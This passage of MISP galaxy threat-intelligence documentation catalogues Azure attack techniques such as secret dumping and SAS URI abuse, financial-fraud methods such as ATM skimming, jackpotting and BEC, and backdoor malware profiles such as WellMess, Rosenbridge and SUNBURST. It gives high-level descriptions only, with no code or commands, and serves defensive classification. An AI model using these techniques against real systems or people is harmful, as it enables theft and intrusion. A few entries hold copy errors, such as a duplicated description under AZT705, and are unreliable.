https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-1

AZT605.2 - Automation Account Credential Secret Dump

By editing a Runbook, a credential configured in an Automation Account may be revealed

The tag is: *misp-galaxy:atrm="AZT605.2 - Automation Account Credential Secret Dump"*

Table 556. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-2

AZT605.3 - Resource Group Deployment History Secret Dump

By accessing deployment history of a Resource Group, secrets used in the ARM template may be revealed.

The tag is: *misp-galaxy:atrm="AZT605.3 - Resource Group Deployment History Secret Dump"*

Table 557. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-3

AZT701 - SAS URI Generation

By generating an SAS URI for a resource, an adversary may extract the contents of that resource

without authentication at any time.

The tag is: *misp-galaxy:atrm="AZT701 - SAS URI Generation"*

Table 558. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT701/AZT701

AZT701.1 - VM Disk SAS URI

An adversary may create an SAS URI to download the disk attached to a virtual machine.

The tag is: *misp-galaxy:atrm="AZT701.1 - VM Disk SAS URI"*

Table 559. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT701/AZT701-1

AZT701.2 - Storage Account File Share SAS

By generating a Shared Access Signature (SAS) URI, an adversary can access a container in a Storage Account at any time.

The tag is: *misp-galaxy:atrm="AZT701.2 - Storage Account File Share SAS"*

Table 560. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT701/AZT701-2

AZT702 - File Share Mounting

An adversary can generate a connection string to mount an Azure Storage Account File Share as an NFS or SMB share to their local machine.

The tag is: *misp-galaxy:atrm="AZT702 - File Share Mounting"*

Table 561. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT702/AZT702-1

AZT703 - Replication

The tag is: *misp-galaxy:atrm="AZT703 - Replication"*

Table 562. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT703/AZT703-1

AZT704 - Soft-Delete Recovery

An adversary may leverage resources found at a 'soft deletion' state, restore them and advance their attack by retrieving contents meant to be deleted

The tag is: *misp-galaxy:atrm="AZT704 - Soft-Delete Recovery"*

Table 563. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT704/AZT704

AZT704.1 - Key Vault

An adversary may recover a key vault object found in a 'soft deletion' state.

The tag is: *misp-galaxy:atrm="AZT704.1 - Key Vault"*

Table 564. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT704/AZT704-1

AZT704.2 - Storage Account Object

An adversary may recover a storage account object found in a 'soft deletion' state.

The tag is: *misp-galaxy:atrm="AZT704.2 - Storage Account Object"*

Table 565. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT704/AZT704-2

AZT704.3 - Recovery Services Vault

An adversary may recover a virtual machine object found in a 'soft deletion' state.

The tag is: *misp-galaxy:atrm="AZT704.3 - Recovery Services Vault"*

Table 566. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT704/AZT704-3

AZT705 - Azure Backup Delete

An adversary may recover a virtual machine object found in a 'soft deletion' state.

The tag is: *misp-galaxy:atrm="AZT705 - Azure Backup Delete"*

Table 567. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Impact/AZT704/AZT704-3

attck4fraud

attck4fraud - Principles of MITRE ATT&CK in the fraud domain.

attck4fraud is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Francesco Bigarella - Christophe Vandeplas

Phishing

In the context of ATT&CK for Fraud, phishing is described as the sending of fraudulent emails to a large audience in order to obtain sensitive information (PII, credentials, payment information). Phishing is never targeted to a specific individual or organisation. Phishing tries to create a sense of urgency or curiosity in order to capture the victim.

The tag is: *misp-galaxy:financial-fraud="Phishing"*

Table 568. Table References

Links
https://blog.malwarebytes.com/cybercrime/2015/02/amazon-notice-ticket-number-phish-seeks-card-details/
https://www.bleepingcomputer.com/news/security/widespread-apple-id-phishing-attack-pretends-to-be-app-store-receipts/
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Spear phishing

Spear phishing is the use of targeted emails to gain the trust of the target with the goal of committing fraud. Spear phishing messages are generally specific to the target and show an understanding of the target's organisation structure, supply chain or business.

The tag is: *misp-galaxy:financial-fraud="Spear phishing"*

Spear phishing is also known as:

- Spear-phishing

Table 569. Table References

Links
http://fortune.com/2017/04/27/facebook-google-rimasauskas/
https://www.ibtimes.co.uk/russian-hackers-fancy-bear-likely-breached-olympic-drug-testing-agency-dnc-experts-say-1577508
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

ATM skimming

ATM Skimming refers to the act of capturing the data stored on a bank cards (tracks) and the Personal Identification Number (PIN) associated to that card. Upon obtaining the data, the criminal proceeds to encode the same information into a new card and use it in combination with the PIN to perform illicit cash withdrawals. ATM Skimming is often achieved with a combination of a skimmer device for the card and a camera to capture the PIN.

The tag is: *misp-galaxy:financial-fraud="ATM skimming"*

ATM skimming is also known as:

- Skimming - CPP ATM

Table 570. Table References

Links
https://krebsonsecurity.com/2015/07/spike-in-atm-skimming-in-mexico/
https://krebsonsecurity.com/2011/12/pro-grade-3d-printer-made-atm-skimmer/
https://krebsonsecurity.com/2017/08/dumping-data-from-deep-insert-skimmers/
https://krebsonsecurity.com/2016/06/atm-insert-skimmers-in-action/
https://krebsonsecurity.com/2014/11/skimmer-innovation-wiretapping-atms/
https://krebsonsecurity.com/2016/09/secret-service-warns-of-periscope-skimmers/
https://krebsonsecurity.com/2011/03/green-skimmers-skimming-green
https://blog.dieboldnixdorf.com/have-you-asked-yourself-this-question-about-skimming/
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

ATM cash trapping

Trap the cash dispenser with a physical component. Type 1 are visible to the user and type 2 are hidden in the cash dispenser

The tag is: *misp-galaxy:financial-fraud="ATM cash trapping"*

ATM cash trapping is also known as:

- Cash Trapping

Table 571. Table References

Links
https://medium.com/@netsentries/beware-of-atm-cash-trapping-9421e498dfcf
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

ATM Shimming

ATM Shimming refers to the act of capturing a bank card data accessing the EMV chip installed on the card while presenting the card to a ATM. Due to their low profile, shimmers can be fit inside ATM card readers and are therefore more difficult to detect.

The tag is: *misp-galaxy:financial-fraud="ATM Shimming"*

Table 572. Table References

Links
https://krebsonsecurity.com/2015/08/chip-card-atm-shimmer-found-in-mexico/
https://www.cbc.ca/news/canada/british-columbia/shimmers-criminal-chip-card-reader-fraud-1.3953438
https://krebsonsecurity.com/2017/01/atm-shimmers-target-chip-based-cards/
https://blog.dieboldnixdorf.com/atm-security-skimming-vs-shimming/

Vishing

Also known as voice phishing, is the criminal practice of using social engineering over the telephone system to gain access to private personal and financial information from the public for the purpose of financial reward. It is also employed by attackers for reconnaissance purposes to gather more detailed intelligence on a target organisation.

The tag is: *misp-galaxy:financial-fraud="Vishing"*

Table 573. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

POS Skimming

CPP analysis identifies the likely merchant, POS or ATM location from where card numbers were stolen so that banks can mitigate fraud on other compromised cards.

The tag is: *misp-galaxy:financial-fraud="POS Skimming"*

POS Skimming is also known as:

- Skimming - CPP POS

Table 574. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Social Media Scams

Social Media Scams

The tag is: *misp-galaxy:financial-fraud="Social Media Scams"*

Malware

Software which is specifically designed to disrupt, damage, or gain authorised access to a computer system.

The tag is: *misp-galaxy:financial-fraud="Malware"*

Table 575. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Account-Checking Services

Account-Checking Services

The tag is: *misp-galaxy:financial-fraud="Account-Checking Services"*

ATM Black Box Attack

Type of Jackpotting attack. Connection of an unauthorized device which sends dispense commands directly to the ATM cash dispenser in order to “cash out” the ATM.

The tag is: *misp-galaxy:financial-fraud="ATM Black Box Attack"*

ATM Black Box Attack is also known as:

- Black Box Attack

Table 576. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Insider Trading

Insider Trading

The tag is: *misp-galaxy:financial-fraud="Insider Trading"*

Investment Fraud

A deceptive practice in the stock or commodities markets that induces investors to make purchase or sale decisions on the basis of false information, frequently resulting in losses, in violation of securities laws.

The tag is: *misp-galaxy:financial-fraud="Investment Fraud"*

Table 577. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Romance Scam

Romance scam is a confidence trick involving feigning romantic intentions towards a victim, gaining their affection, and then using that goodwill to commit fraud. Fraudulent acts may involve access to the victim's money, bank accounts, credit cards, passports, e-mail accounts, or national identification numbers; or forcing the victims to commit financial fraud on their behalf.

The tag is: *misp-galaxy:financial-fraud="Romance Scam"*

Romance Scam is also known as:

- Romance Fraud

Table 578. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Buying/Renting Fraud

Buying/Renting Fraud

The tag is: *misp-galaxy:financial-fraud="Buying/Renting Fraud"*

Cash Recovery Scam

Cash Recovery Scam

The tag is: *misp-galaxy:financial-fraud="Cash Recovery Scam"*

Fake Invoice Fraud

Invoice fraud happens when a company or organisation is tricked into changing bank account payee details for a payment. Criminals pose as regular suppliers to the company or organisation and will make a formal request for bank account details to be changed or emit false invoices.

The tag is: *misp-galaxy:financial-fraud="Fake Invoice Fraud"*

Fake Invoice Fraud is also known as:

- Invoice Fraud

Table 579. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Business Email Compromise

Business Email Compromise

The tag is: *misp-galaxy:financial-fraud="Business Email Compromise"*

Scam

Scam

The tag is: *misp-galaxy:financial-fraud="Scam"*

CxO Fraud

CxO Fraud

The tag is: *misp-galaxy:financial-fraud="CxO Fraud"*

Compromised Payment Cards

The loss of or theft of a card, which is subsequently used for illegal purposes until blocked by the card issuer.

The tag is: *misp-galaxy:financial-fraud="Compromised Payment Cards"*

Compromised Payment Cards is also known as:

- Lost/Stolen Card

Table 580. Table References

Links

https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Compromised Account Credentials

Account takeover fraud is a form of identity theft in which the fraudster gets access to a victim's bank or credit card accounts — through a data breach, malware or phishing — and uses them to make unauthorised transaction.

The tag is: *misp-galaxy:financial-fraud="Compromised Account Credentials"*

Compromised Account Credentials is also known as:

- Account Takeover Fraud

Table 581. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Compromised Personally Identifiable Information (PII)

Compromised Personally Identifiable Information (PII)

The tag is: *misp-galaxy:financial-fraud="Compromised Personally Identifiable Information (PII)"*

Compromised Intellectual Property (IP)

Compromised Intellectual Property (IP)

The tag is: *misp-galaxy:financial-fraud="Compromised Intellectual Property (IP)"*

SWIFT Transaction

SWIFT Transaction

The tag is: *misp-galaxy:financial-fraud="SWIFT Transaction"*

Fund Transfer

Fund Transfer

The tag is: *misp-galaxy:financial-fraud="Fund Transfer"*

Cryptocurrency Exchange

Cryptocurrency Exchange

The tag is: *misp-galaxy:financial-fraud="Cryptocurrency Exchange"*

ATM Jackpotting

ATM Jackpotting

The tag is: *misp-galaxy:financial-fraud="ATM Jackpotting"*

Money Mules

Money Mules

The tag is: *misp-galaxy:financial-fraud="Money Mules"*

Prepaid Cards

Prepaid Cards

The tag is: *misp-galaxy:financial-fraud="Prepaid Cards"*

Resell Stolen Data

Resell Stolen Data

The tag is: *misp-galaxy:financial-fraud="Resell Stolen Data"*

ATM Explosive Attack

ATM Explosive Attack

The tag is: *misp-galaxy:financial-fraud="ATM Explosive Attack"*

CNP – Card Not Present

A card not present transaction (CNP, MO/TO, Mail Order / Telephone Order, MOTOEC) is a payment card transaction made where the cardholder does not or cannot physically present the card for a merchant's visual examination at the time that an order is given and payment effected

The tag is: *misp-galaxy:financial-fraud="CNP – Card Not Present"*

Table 582. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

CP – Card Present

A card present transaction occurs when a cardholder physically presents a card to request and authorise a financial transaction

The tag is: *misp-galaxy:financial-fraud="CP – Card Present"*

Table 583. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Merchant Fraud

Fraud that occurs when a merchant account is used without the intention of operating a legitimate business transaction.

The tag is: *misp-galaxy:financial-fraud="Merchant Fraud"*

Table 584. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Virtual Currency Fraud

Fraud that involves virtual currency, or virtual money, which is a type of unregulated, digital money, issued and usually controlled by its developers and used and accepted among the members of a specific virtual community.

The tag is: *misp-galaxy:financial-fraud="Virtual Currency Fraud"*

Table 585. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Cheque Fraud

A category of criminal acts that involve making the unlawful use of cheques in order to illegally acquire or borrow funds that do not exist within the account balance or account-holder's legal ownership. Most methods involve taking advantage the time between the negotiation of the cheque and its clearance at the cheque writer's financial institution to draw out these funds.

The tag is: *misp-galaxy:financial-fraud="Cheque Fraud"*

Table 586. Table References

Links

https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Digital Fraud

Fraud perpetrated via omni- channel means to digital banking or payments channels such as home banking or other electronic services.

The tag is: *misp-galaxy:financial-fraud="Digital Fraud"*

Table 587. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Mobile Fraud

Fraud perpetrated via mobile devices to digital banking, payments channels such as home banking or other electronic services, or online merchants

The tag is: *misp-galaxy:financial-fraud="Mobile Fraud"*

Table 588. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Telephone Fraud

Fraud perpetrated via land line telephone means to banking or payments channels such as home banking or other electronic services or merchants

The tag is: *misp-galaxy:financial-fraud="Telephone Fraud"*

Table 589. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Standing Order Fraud

Fraud occurs when a standing order is falsely created or adulterated. A standing order is an automated method of making payments, where a person or business instructs their bank to pay another person or business, a fixed amount of money at regular intervals. Fraud occurs when a standing order is falsely created or adulterated.

The tag is: *misp-galaxy:financial-fraud="Standing Order Fraud"*

Table 590. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

CEO/BEC Fraud

A scam in which cybercriminals spoof company email accounts and impersonate executives to try and fool an employee in accounting or HR into executing unauthorized wire transfers, or sending out confidential information

The tag is: *misp-galaxy:financial-fraud="CEO/BEC Fraud"*

Table 591. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Money laundering

An illegal process of concealing the origins of money obtained illegally by passing it through a complex sequence of banking transfers or commercial transactions. The overall scheme of this process returns the money to the launderer in an obscure and indirect way.

The tag is: *misp-galaxy:financial-fraud="Money laundering"*

Table 592. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

BIN Attack

Credit cards are produced in BIN ranges. Where an issuer does not use random generation of the card number, it is possible for an attacker to obtain one good card number and generate valid card numbers

The tag is: *misp-galaxy:financial-fraud="BIN Attack"*

Table 593. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

DoS - Denial of Service Attack

In computing, a denial-of-service attack is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet

The tag is: *misp-galaxy:financial-fraud="DoS - Denial of Service Attack"*

Table 594. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

MITM - Man-in-the-Middle Attack

In cryptography and computer security, a man-in-the-middle attack (MITM) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other

The tag is: *misp-galaxy:financial-fraud="MITM - Man-in-the-Middle Attack"*

Table 595. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Transaction Reversal Fraud

Unauthorized physical manipulation of ATM cash withdrawal. Appears that cash has not been dispensed – a reversal message generated – SEE FULL TERMINAL FRAUD DEFINITION

The tag is: *misp-galaxy:financial-fraud="Transaction Reversal Fraud"*

Table 596. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Transaction Message Adulteration

The data contained in an authorisation message is manipulated to try to fool the payment processor.

The tag is: *misp-galaxy:financial-fraud="Transaction Message Adulteration"*

Table 597. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

First Party (Friendly) Fraud

Fraud committed against a financial institution by one of its own customers

The tag is: *misp-galaxy:financial-fraud="First Party (Friendly) Fraud"*

Table 598. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Identity Spoofing (or entity hacking)

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials. Alternatively, an adversary may intercept a message from a legitimate sender and attempt to make it look like the message comes from them without changing its content. The latter form of this attack can be used to hijack credentials from legitimate users. Identity Spoofing attacks need not be limited to transmitted messages - any resource that is associated with an identity (for example, a file with a signature) can be the target of an attack where the adversary attempts to change the apparent identity

The tag is: *misp-galaxy:financial-fraud="Identity Spoofing (or entity hacking)"*

Table 599. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Authorised Push Payment Fraud

A form of fraud in which victims are manipulated into making real-time payments to fraudsters, typically by social engineering attacks involving impersonation.

The tag is: *misp-galaxy:financial-fraud="Authorised Push Payment Fraud"*

Table 600. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Direct Debit Fraud

Direct debit fraud can take place in several ways. It is often associated with identity theft, where the scammer gains access to the bank account information by posing as the victim. They can pay for services and products via a direct debit option and use this account until its owner notices.

The tag is: *misp-galaxy:financial-fraud="Direct Debit Fraud"*

Table 601. Table References

Links

https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Extortion

Obtaining benefit through coercion

The tag is: *misp-galaxy:financial-fraud="Extortion"*

Table 602. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Smishing

Also known as "SMS Phishing", is a form of criminal activity using social engineering techniques. SMS phishing uses cell phone text messages to deliver information and/or requests to induce people to divulge or to take action that will compromise their personal or confidential information.

The tag is: *misp-galaxy:financial-fraud="Smishing"*

Table 603. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Shoulder Surfing

Technique used to obtain information such as personal identification numbers (PINs), passwords and other confidential data by looking over the victim's shoulder

The tag is: *misp-galaxy:financial-fraud="Shoulder Surfing"*

Table 604. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Distraction

The process of diverting the attention of an individual or group from a desired area of focus and thereby blocking or diminishing the reception of desired information.

The tag is: *misp-galaxy:financial-fraud="Distraction"*

Table 605. Table References

Links

https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Push Payments

Authorised push payment fraud happens when fraudsters deceive consumers or individuals at a business to send them a payment under false pretences to a bank account controlled by the fraudster. As payments made using real-time payment schemes are irrevocable, the victims cannot reverse a payment once they realise they have been conned.

The tag is: *misp-galaxy:financial-fraud="Push Payments"*

Table 606. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

ATM Malware

Unauthorised software, or authorises software run in an unauthorized manner on ATM PC - SEE FULL TERMINAL FRAUD DEFINITION

The tag is: *misp-galaxy:financial-fraud="ATM Malware"*

Table 607. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Data Breach

A data breach is a security incident in which sensitive, protected or confidential data is copied, transmitted, viewed, stolen or used from a PC or Computer Network by an entity unauthorised to do so.

The tag is: *misp-galaxy:financial-fraud="Data Breach"*

Table 608. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Ransomware

A type of malicious software designed to block access to a computer system until a sum of money is paid

The tag is: *misp-galaxy:financial-fraud="Ransomware"*

Table 609. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Fake Website

A website that is not a legitimate venue, the site is designed to entice the visitor into revealing sensitive information, to download some form of malware or to purchase products that never arrive

The tag is: *misp-galaxy:financial-fraud="Fake Website"*

Table 610. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Fake App

Apps in mobile devices that trick users into downloading them. They may also pose as quirky and attractive apps, providing interesting services. Once installed on a mobile device, fake apps can perform a variety of malicious routines.

The tag is: *misp-galaxy:financial-fraud="Fake App"*

Table 611. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

e-Skimming

Cyber criminals introduce skimming code on e-commerce payment card processing web pages to capture credit card and personally identifiable information and send the stolen data to a domain under their control.

The tag is: *misp-galaxy:financial-fraud="e-Skimming"*

Table 612. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Skimming - CPP UPT

CPP analysis identifies Payment Terminal parking, transport, fuel, etc. locations, from where card numbers were stolen so that banks can mitigate fraud on other compromised cards.

The tag is: *misp-galaxy:financial-fraud="Skimming - CPP UPT"*

Table 613. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Skimming - CPP Virtual Terminal

Same as e-Skimming

The tag is: *misp-galaxy:financial-fraud="Skimming - CPP Virtual Terminal"*

Table 614. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Card Trapping

Unauthorized physical ATM manipulation, preventing card from being returned to customer - SEE FULL TERMINAL FRAUD DEFINITION

The tag is: *misp-galaxy:financial-fraud="Card Trapping"*

Table 615. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Lack of Patching / Security

Patch management is the best practice of upgrading existing software applications to remove any weak security patches that could be exploited by hackers. Lack of proper patching allows cyber criminals to exploit systems and networks.

The tag is: *misp-galaxy:financial-fraud="Lack of Patching / Security"*

Table 616. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Bad implementation

Process where an information system is deployed into a Production Environed with faults, errors or vulnerabilities

The tag is: *misp-galaxy:financial-fraud="Bad implementation"*

Table 617. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Deployment Error

Implementation of a system, solution or service not according to defined and tested best practices.

The tag is: *misp-galaxy:financial-fraud="Deployment Error"*

Table 618. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Merchant Negligence

Merchants not following best practice procedures to avoid criminal or fraudulent activity,

The tag is: *misp-galaxy:financial-fraud="Merchant Negligence"*

Table 619. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Implementation not according to Standards

Implementation of a sstem, solution or service not according to defined and tested standards

The tag is: *misp-galaxy:financial-fraud="Implementation not according to Standards"*

Table 620. Table References

Links
https://www.association-secure-transactions.eu/industry-information/fraud-definitions/

Backdoor

A list of backdoor malware..

Backdoor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

raw-data

WellMess

Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.

The tag is: *misp-galaxy:backdoor="WellMess"*

View relationships graph

WellMess has relationships with:

- similar: misp-galaxy:malpedia="WellMess" with estimative-language:likelihood-probability="likely"

Table 621. Table References

Links
https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html

Rosenbridge

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.

While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU's memory, but its register file and execution pipeline as well.

The tag is: *misp-galaxy:backdoor="Rosenbridge"*

Table 622. Table References

Links

https://www.bleepingcomputer.com/news/security/backdoor-mechanism-discovered-in-via-c3-x86-processors/
https://github.com/xoreaxeaxeax/rosenbridge
https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Christopher%20Domas/DEFCON-26-Christopher-Domas-GOD-MODE-%20UNLOCKED-hardware-backdoors-in-x86-CPUs.pdf

ServHelper

The purpose of the macro was to download and execute a variant of ServHelper that set up reverse SSH tunnels that enabled access to the infected host through the Remote Desktop Protocol (RDP) port 3389.

"Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to “hijack” legitimate user accounts or their web browser profiles and use them as they see fit," researchers from Proofpoint explain in an analysis released today.

The other ServHelper variant does not include the tunneling and hijacking capabilities and functions only as a downloader for the FlawedGrace RAT.

The tag is: *misp-galaxy:backdoor="ServHelper"*

Table 623. Table References

Links
https://www.bleepingcomputer.com/news/security/new-servhelper-backdoor-and-flawedgrace-rat-pushed-by-necurs-botnet/

Rising Sun

The Rising Sun backdoor uses the RC4 cipher to encrypt its configuration data and communications. As with most backdoors, on initial infection, Rising Sun will send data regarding the infected system to a command and control (C2) site. That information captures computer and user name, IP address, operating system version and network adapter information. Rising Sun contains 14 functions including executing commands, obtaining information on disk drives and running processes, terminating processes, obtaining file creation and last access times, reading and writing files, deleting files, altering file attributes, clearing the memory of processes and connecting to a specified IP address.

The tag is: *misp-galaxy:backdoor="Rising Sun"*

Table 624. Table References

Links
https://www.bluvector.io/threat-report-rising-sun-operation-sharpshooter/

SLUB

A new backdoor was observed using the Github Gist service and the Slack messaging system as communication channels with its masters, as well as targeting a very specific type of victim using a watering hole attack. The backdoor dubbed SLUB by the Trend Micro Cyber Safety Solutions Team who detected it in the wild is part of a multi-stage infection process designed by capable threat actors who programmed it in C++. SLUB uses statically-linked curl, boost, and JsonCpp libraries for performing HTTP request, "extracting commands from gist snippets," and "parsing Slack channel communication." The campaign recently observed by the Trend Micro security researchers abusing the Github and Slack uses a multi-stage infection process.

The tag is: *misp-galaxy:backdoor="SLUB"*

View relationships graph

SLUB has relationships with:

- similar: misp-galaxy:tool="SLUB Backdoor" with estimative-language:likelihood-probability="likely"

Table 625. Table References

Links
https://www.bleepingcomputer.com/news/security/new-slub-backdoor-uses-slack-github-as-communication-channels/

Asruex

Since it first emerged in 2015, Asruex has been known for its backdoor capabilities and connection to the spyware DarkHotel. However, when we encountered Asruex in a PDF file, we found that a variant of the malware can also act as an infector particularly through the use of old vulnerabilities CVE-2012-0158 and CVE-2010-2883, which inject code in Word and PDF files respectively.

The tag is: *misp-galaxy:backdoor="Asruex"*

Table 626. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/

FlowerPippi

The tag is: *misp-galaxy:backdoor="FlowerPippi"*

Table 627. Table References

Links

https://securityintelligence.com/news/ta505-delivers-new-gelup-malware-tool-flowerpippi-backdoor-via-spam-campaign/

Speculoos

FreeBSD-based payload, Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. This vulnerability was first disclosed on December 17, 2019 via security bulletin CTX267679 which contained several mitigation recommendations. By January 24, 2020, permanent patches for the affected appliances were issued. Based on the spread of industries and regions, in addition to the timing of the vulnerability disclosure, we believe this campaign may have been more opportunistic in nature compared to the highly targeted attack campaigns that are often associated with these types of adversaries. However, considering the exploitation of the vulnerability in conjunction with delivery of a backdoor specifically designed to execute on the associated FreeBSD operating system indicates the adversary was absolutely targeting the affected devices.

The tag is: *misp-galaxy:backdoor="Speculoos"*

View relationships graph

Speculoos has relationships with:

- used-by: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="very-likely"

Table 628. Table References

Links
https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/

Mori Backdoor

Mori Backdoor has been used by Seedworm.

The tag is: *misp-galaxy:backdoor="Mori Backdoor"*

Table 629. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east

BazarBackdoor

Something that made the brute-force attacks on RDP connections easier was a new module of the notorious Trojan, TrickBot. It now seems that the TrickBot developers have a new tactic.

Cybersecurity researchers have discovered a new phishing campaign that delivers a stealthy backdoor called BazarBackdoor, which can be used to compromise and gain full access to corporate networks. As is the case with 91% of cyberattacks, this one starts with a phishing email. A range of subjects are used to personalize the emails: Customer complaints, coronavirus-themed payroll reports, or employee termination lists. All these emails contain links to documents hosted on Google Docs. To send the malicious emails, the cybercriminals use the marketing platform Sendgrid. This campaign uses spear phishing, which means that the perpetrators have made an effort to ensure that the websites sent in the emails seem legitimate and correspond to the emails subjects.

The tag is: *misp-galaxy:backdoor="BazarBackdoor"*

BazarBackdoor is also known as:

- BEERBOT
- KEGTAP
- Team9Backdoor
- bazaloader
- bazarloader
- bazaarloader

Table 630. Table References

Links
https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike
https://www.pandasecurity.com/en/mediacenter/business/bazarbackdoor-trickbot-backdoor/

SUNBURST

Backdoor.Sunburst is Malwarebytes' detection name for a trojanized update to SolarWind's Orion IT monitoring and management software.

The tag is: *misp-galaxy:backdoor="SUNBURST"*

SUNBURST is also known as:

- Solarigate

View relationships graph

SUNBURST has relationships with:

- dropped-by: misp-galaxy:tool="SUNSPOT" with estimative-language:likelihood-probability="likely"
